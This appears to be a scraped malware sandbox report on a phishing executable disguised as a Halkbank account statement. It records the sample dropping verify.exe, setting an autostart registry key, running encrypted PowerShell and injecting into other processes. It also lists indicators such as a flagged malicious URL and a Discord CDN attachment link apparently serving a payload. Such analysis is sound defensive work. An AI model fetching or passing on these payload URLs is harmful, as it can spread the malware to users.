  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 562454 Sample: Halkbank_Ekstre_20220128_08... Startdate: 28/01/2022 Architecture: WINDOWS Score: 100 26 Found malware configuration 2->26 28 Malicious sample detected (through community Yara rule) 2->28 30 Antivirus detection for URL or domain 2->30 32 8 other signatures 2->32 7 Halkbank_Ekstre_20220128_081138_756957 (1).exe 16 6 2->7         started        process3 dnsIp4 24 cdn.discordapp.com 162.159.130.233, 443, 49761 CLOUDFLARENETUS United States 7->24 18 C:\Users\user\AppData\Local\verify.exe, PE32 7->18 dropped 20 C:\Users\user\...\verify.exe:Zone.Identifier, ASCII 7->20 dropped 22 Halkbank_Ekstre_20..._756957 (1).exe.log, ASCII 7->22 dropped 34 Creates an undocumented autostart registry key 7->34 36 Encrypted powershell cmdline option found 7->36 38 Injects a PE file into a foreign processes 7->38 12 powershell.exe 9 7->12         started        14 Halkbank_Ekstre_20220128_081138_756957 (1).exe 7->14         started        file5 signatures6 process7 process8 16 conhost.exe 12->16         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
162.159.130.233
 cdn.discordapp.com United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
cdn.discordapp.com 162.159.130.233 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.healthonline.store/po6r/ true
  • Avira URL Cloud: malware
 low
https://cdn.discordapp.com/attachments/913584216825028612/936582704412110848/Cszji.jpg false
    		high